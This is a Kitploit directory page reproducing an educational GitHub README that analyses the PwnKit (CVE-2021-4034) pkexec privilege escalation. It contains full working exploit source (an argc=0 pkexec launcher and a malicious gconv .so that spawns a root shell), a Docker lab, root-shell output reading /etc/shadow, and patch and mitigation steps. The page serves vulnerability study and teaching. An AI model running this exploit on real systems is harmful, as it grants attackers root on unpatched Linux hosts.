Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WHS4_CVE-2021-4034 — Whitehat School 4期 CVE-2021-4034 解析およびPOC作成 | Kitploit
ツール/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
特権昇格脆弱性分析エクスプロイトCTFペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

Whitehat School 4期 CVE-2021-4034 解析およびPOC作成

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034 (PwnKit) - ローカル権限昇格PoC

🔗 元のプロジェクト: berdav/CVE-2021-4034
このプロジェクトは、元のプロジェクトを基に教育目的で分析・修正したバージョンです。
MITライセンス準拠 | White Hat School教育課題


📋 概要

CVE-2021-4034は、Linux policykit-1(PolicyKit)のローカル権限昇格の脆弱性です。一般ユーザーがpkexecを引数なしで実行し、プロセスメモリ構造の欠陥を利用することで、本来は除去されるべき環境変数文字列をglibが再参照するように仕向け、悪意のある.soファイルをロードさせてroot権限を取得することができます。

⚠️ 教育目的専用: このコードは修正されたシステムでのみ使用してください。
実際のシステムへの攻撃に使用すると、法的責任が生じる可能性があります。


🎯 脆弱性の要約

項目内容
CVE IDCVE-2021-4034
脆弱性名PwnKit
影響を受けるバージョンpolkit 0.105以前のパッチが適用されていないバージョン全般(テスト環境の基準: Ubuntu 20.04のpolicykit-1 0.105-26ubuntu1)
脆弱性タイプLocal Privilege Escalation (LPE)
深刻度Critical (CVSS 7.8)
パッチバージョンpolicykit-1 >= 0.105-26ubuntu1.1
発見日2021年6月(公開は2022年1月)

Ubuntuだけの問題だと誤解されがちですが、pkexec自体のロジック欠陥であるため、polkitを使用しているディストリビューションであればほとんど影響を受けます。Dockerテスト環境がUbuntu 20.04のため、上の表にはそのバージョンも併記しました。


🔴 脆弱性の核心

最初に分析したときは「環境変数を検証していないために発生する問題」だと思っていましたが、ソースコードとパッチコミットを一緒に見ると、順序が少し違うことがわかりました。本当の原因は別にあり、環境変数の問題はその原因によって発生する結果に近いものです。以下は、その流れを原因の順に整理したものです。

1. pkexecとは?

pkexecは、PolicyKitを通じて権限昇格を要求するSUID-rootプログラムです。

root@kitploit:~
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service

一般ユーザーが管理者権限で特定のタスクを実行するときに使用されます。


2. 真の根本原因: pkexecがargc == 0の場合を例外処理していない

pkexecのmain()関数は、コマンドライン引数を処理する部分で、引数が一つもなく実行された場合(argc == 0)を検証していません。 これがこの脆弱性の本当の始まりです。

  • 正常な実行: argv = {"pkexec", "명령어", NULL} → argc >= 1
  • 攻撃時の実行: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

argcが0の場合、argvリストには終端を示すNULLだけが残ります。しかし、pkexecの内部ロジックは、この状況でも存在しないargv[1]を読み書きしようとします。問題は、Linuxがプロセスを実行するときにargv配列とenvp(環境変数)配列をメモリ上ですぐ隣に並べて配置する点です。そのため、範囲外のargv[1]は実際にはenvp[0]、つまり最初の環境変数をそのまま指すことになります。

root@kitploit:~
정상 상황:  argv = [ "pkexec" | NULL ]
공격 상황:  argv = [ NULL ]                 ← argc = 0
                    ↑
             존재하지 않는 argv[1]에 접근
                    ↓
      메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)

なぜこれが危険なのか:

  • 本来、ld.soはSUIDプログラム(pkexec)が実行される前に、GCONV_PATHやLD_PRELOADのような危険な環境変数を安全でないと判断して除去します。
  • しかし、上記のOOB動作により、除去された文字列が「環境変数として復元」されるのではなく、argvポインタ側でその文字列を再参照可能な状態になります。 つまり、値が復活するのではなく、その値を指すポインタの接続が再び作られることに近いです。
  • 実際のパッチコミットも、argc < 1の場合に即座に終了する検証ロジックを追加する形でこの部分を修正しました。(CWE-125 out-of-bounds read、CWE-787 out-of-bounds writeに該当)

📌 まとめると: 環境変数の未検証は「攻撃が通用する条件」であり、本当の脆弱性(root cause)はpkexecがargc == 0の場合を処理していないことです。下の3は、この原因によって発生する結果側です。


3. 結果: 除去されるべき文字列が再参照可能になる

2で説明したOOB動作により、pkexecがglibを初期化する過程で、この文字列が検証されないまま再び使用されることになります。

root@kitploit:~
// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

問題:

  • 2のOOBにより、この文字列が再参照可能な状態になり、glib初期化段階までそのまま流れ込む
  • glib側では、この値が元々あった正常な環境変数なのか、攻撃者が復活させたものなのかを区別する方法がない

4. glibのConverterロードメカニズムの悪用

ここで重要なのは、glib自体には何の落ち度もないという点です。GCONV_PATHが設定されていれば、そのパスからconverterを探すのはglibの正常な動作です。問題は、pkexecがsecure execution状態(危険な環境変数が除去された状態)をすでに壊してしまった後だということです。glibはただ正常に動作しただけなのに、その正常な動作が悪用される構造です。

  1. CHARSET環境変数の確認

    root@kitploit:~
    CHARSET=PWNKIT
    
  2. gconv-modulesファイルでconverter定義を検索

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  3. GCONV_PATHから.soファイルをロード

    root@kitploit:~
    GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
    
  4. .soファイルの初期化関数が自動実行

    root@kitploit:~
    // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
    void gconv_init(void *step)
    {
        setuid(0);           // root 권한 획득
        setgid(0);
        execve("/bin/sh");   // root shell 실행!
    }
    

gconv_initは「コンストラクタ関数」と呼ぶこともありますが、厳密にはCの__attribute__((constructor))とは異なります。正確にはgconvモジュールインターフェースで定義された初期化関数であり、glibがdlopenで.soをロードした後、この関数を明示的に呼び出すものです。


5. 攻撃全体の流れ

root@kitploit:~
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. argv 비우고 pkexec 실행 (argc=0)
          │    + 악의적 환경변수 설정
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 실행                          │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
          │
          │ 2. glib이 정상 동작대로 처리
          │    CHARSET=PWNKIT 인코딩 검색
          │    GCONV_PATH=.에서 converter 찾음
          ↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드                       │
│ (현재 디렉토리의 악의적 .so 파일)     │
└─────────────────────────────────────┘
          │
          │ 3. gconv 초기화 함수 자동 실행 (root 권한!)
          ↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅                   │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 クイックスタート

必須要件

  • Docker(またはDocker Desktop)
  • git
  • Linux環境(またはWSL 2)

実行コマンド

root@kitploit:~
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 최신 버전 확인
git pull origin main

# 3. 빌드 (캐시 없이)
docker compose build --no-cache

# 4. 실행
docker compose up

docker system prune -a --volumes --forceは、キャッシュやボリュームが壊れて上記の方法でうまくいかない場合にのみ使用することをお勧めします。システム全体のDockerキャッシュを削除するかなり攻撃的なコマンドなので、他のプロジェクトのキャッシュも一緒に消えてしまう可能性があります。関連内容は、下の「発生した問題と解決方法」に別途まとめています。

期待される結果

root@kitploit:~
pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 성공! ✅

実際の結果


📁 プロジェクト構造

root@kitploit:~
WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 설정
├── Dockerfile                   # 취약 Ubuntu 20.04 환경
├── start.sh                     # 컨테이너 초기화 및 자동 실행
├── Makefile                     # 빌드 설정
├── CVE-2021-4034_exploit.c      # Exploit 코드 (pkexec 호출)
├── pwnkit.c                     # 악의적 .so 파일 (권한 상승)
├── gconv-modules                # glib converter 매핑
├── README.md                    # 이 파일
└── LICENSE                      # MIT License

💻 PoCコード分析

CVE-2021-4034_exploit.c

root@kitploit:~
#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

要点:

  • argsにpkexec自体の名前さえ入れず、argcが0になるようにしている → 根本原因(argcの未検証)をトリガー
  • GCONV_PATH=. : OOBで再参照可能になった後、glibがこのパスでconverterを検索
  • CHARSET=PWNKIT : glibがこのエンコーディングのconverterを見つけるように誘導

pwnkit.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}

要点:

  • gconv_init()はCのconstructor attributeではなく、gconvモジュールインターフェースの仕様に従ってglibがdlopenの後に直接呼び出す初期化関数
  • pkexecはroot権限で実行されるため、この関数もroot権限で実行される
  • したがって、setuid(0)の後にシェルを実行すると、rootシェルをそのまま取得できる

✅ 検証結果

以下の検証結果は、直接環境を構築し、直接エクスプロイトを行ったときの基準としています。つまり、クイックスタートで実行した場合は、以下のようにはなりません。

以下のようにしたい場合は、このリポジトリにあるDockerfileやstart.shなどを使用して、直接環境を構築する必要があります。

ただし、start.shやDockerfileなどは、課題の形式に合わせるために自動化を進めたものであるため、そのまま使用すると希望する結果が得られない場合があります。

したがって、直接そのファイルを修正する必要があります。

攻撃前

root@kitploit:~
$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

実際の攻撃前の権限

実際に、このキャプチャ画像は初めてエクスプロイトが成功したときのものであり、上を見るとユーザー権限について表示されています。

攻撃の実行

root@kitploit:~
$ ./CVE-2021-4034_exploit

参考: エクスプロイト自体にはsudoは不要です。pkexecがすでにSUID-rootバイナリであるため、一般ユーザー権限だけでrootシェルを取得できるのがこの脆弱性の核心です。Dockerテスト環境でsudo -Eを使ったことがありますが、これはNOPASSWD設定を確認するための実行便宜上のものであり、脆弱性自体とは無関係です。

攻撃後

root@kitploit:~
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

実際の攻撃後の権限

上を見ると、実際の攻撃後にルート権限を取得できることがわかります。

より全体的に攻撃前と攻撃後について見たい場合は、上記の「### 実際の攻撃前の権限」の部分の画像を見ることをお勧めします。

✅ 権限昇格成功!


📊 評価指標

再現性

Ubuntu 20.04ベースのDocker環境で再現に成功しました(policykit-1 0.105-26ubuntu1)。まだ繰り返しテストの回数が多くないため、カーネル・ディストリビューションのバージョンを変えながら数回さらに実行し、結果を埋めていく予定です。

リスクスコア: 7.8 / 10.0(Critical、CVSS 3.1基準)

  • 必要な権限: リモート攻撃ではなくローカル攻撃であり、リモート認証の回避ではありません。一般ユーザーアカウントでログインさえできれば、追加の権限なしで攻撃可能です(Privileges Required: Low)。つまり、「認証がまったく不要」という意味ではなく、「ログイン自体は必要だが、それ以上の権限は不要」という意味です。
  • 攻撃ベクター: ローカルのみ(Attack Vector: Local) — リモートではこの脆弱性を直接悪用できず、まずローカルシェルへのアクセス権限を確保する必要があります。
  • 影響範囲: Scope: Changed。pkexecはPolicyKitという別の権限管理コンポーネントを通じてroot権限で実行されるため、脆弱性が悪用されると、攻撃が開始された権限領域(一般ユーザー)を超えて、他のセキュリティ権限領域(root、PolicyKitが管理するシステム全体)にまで影響を及ぼします。このため、CVSSではScopeがChangedと評価されます。
  • 影響要素: 機密性・完全性・可用性(C/I/A)すべてHigh
  • 参考: NVD CVSSベクター詳細

🛡️ 防御方法

即時対応

root@kitploit:~
# 1. 패치 업그레이드 (권장) 
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함

sudoの制限

root@kitploit:~
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

環境変数の整理

root@kitploit:~
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

パッチが根本的な解決策であり、上記の2つはパッチが適用されるまでに使える暫定措置に近いものです。argcの検証自体はpkexecのコードが修正されないと解決しない問題であるため、環境変数側だけを防いでも完全には防げません。


⚠️ 発生した問題と解決方法

問題1: docker-composeコマンドが見つからない

原因: Ubuntu 24.04ではdocker-compose(v1)がなく、docker compose(v2)のみ存在する

解決:

root@kitploit:~
# docker compose 명령어 사용 (v2)
docker compose up

問題2: 「パスワード要求: sudo password for WHS4_student」

原因: DockerfileのNOPASSWD設定が正しく反映されていない(Dockerキャッシュの問題)

解決:

root@kitploit:~
docker compose build --no-cache
docker compose up

それでもダメな場合は、キャッシュを完全に消して再度試します。

root@kitploit:~
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

問題3: GitHubの更新がローカルに反映されない

原因: ローカルファイルが以前のバージョンのままになっている

解決:

root@kitploit:~
# GitHub에서 최신 버전 받기
git pull origin main

# 파일 확인
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# 다시 빌드
docker compose up --build --no-cache

問題4: 「The container name is already in use」

原因: 既存のコンテナが残っている

解決:

root@kitploit:~
# 컨테이너 제거
docker compose down
docker rm pwnkit -f

# 다시 실행
docker compose up

問題5: 「permission denied」(ファイル権限)

原因: Dockerで生成されたファイルの権限がrootになっている

解決:

root@kitploit:~
# WSL/Linux에서
sudo rm -rf WHS4_CVE-2021-4034

📚 参考および出典

元のプロジェクト

  • 著者: berdav
  • リポジトリ: https://github.com/berdav/CVE-2021-4034
  • ライセンス: MIT License
  • 参考にした部分:
    • CVE-2021-4034_exploit.cの基本構造
    • pwnkit.cのgconv_init実装
    • gconv-modulesファイル形式
    • Makefileのビルド方法

このプロジェクトの修正および追加事項

作成者: krleejihyeong

新規作成・修正した部分:

  • ✅ docker-compose.yml: Docker実行環境の構成
  • ✅ Dockerfile: 脆弱環境の自動構成(dbus、polkitd、NOPASSWD設定)
  • ✅ start.sh: 自動実行スクリプト(ビルド → 攻撃実行まで完全自動化)
  • ✅ README.md: 脆弱性の根本原因分析(argc検証の欠如)、再現結果、危険度評価、問題解決ガイドの作成
  • ✅ 韓国語のコメントと説明: 脆弱性の理解度向上

参考資料

  • Qualys: CVE-2021-4034詳細分析
  • NVD: CVE-2021-4034
  • PolicyKit公式ドキュメント

📄 ライセンス

このプロジェクトはMIT Licenseに従います。

root@kitploit:~
Copyright (c) 2026 krleejihyeong (수정 및 분석)
Copyright (c) 2021 berdav (원본 PoC)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

詳細については、LICENSEファイルを参照してください。


👤 作成者

  • krleejihyeong - 分析、修正、Docker環境の構成、ドキュメント作成
  • berdav - 元のPoC作成(https://github.com/berdav/CVE-2021-4034)

⚠️ 法的通知

このプロジェクトは純粋な教育目的のためだけに制作されました。

  • ✅ 公開されたCVEを対象
  • ✅ パッチ適用済みのシステムでのみテスト
  • ✅ システム管理者の許可のもとで使用
  • ✅ 脆弱性の理解と防御強化の目的

権限のないコンピュータシステムへのアクセスは、法的に罰せられる可能性があります。


最終更新: 2026年7月

ツールをダウンロード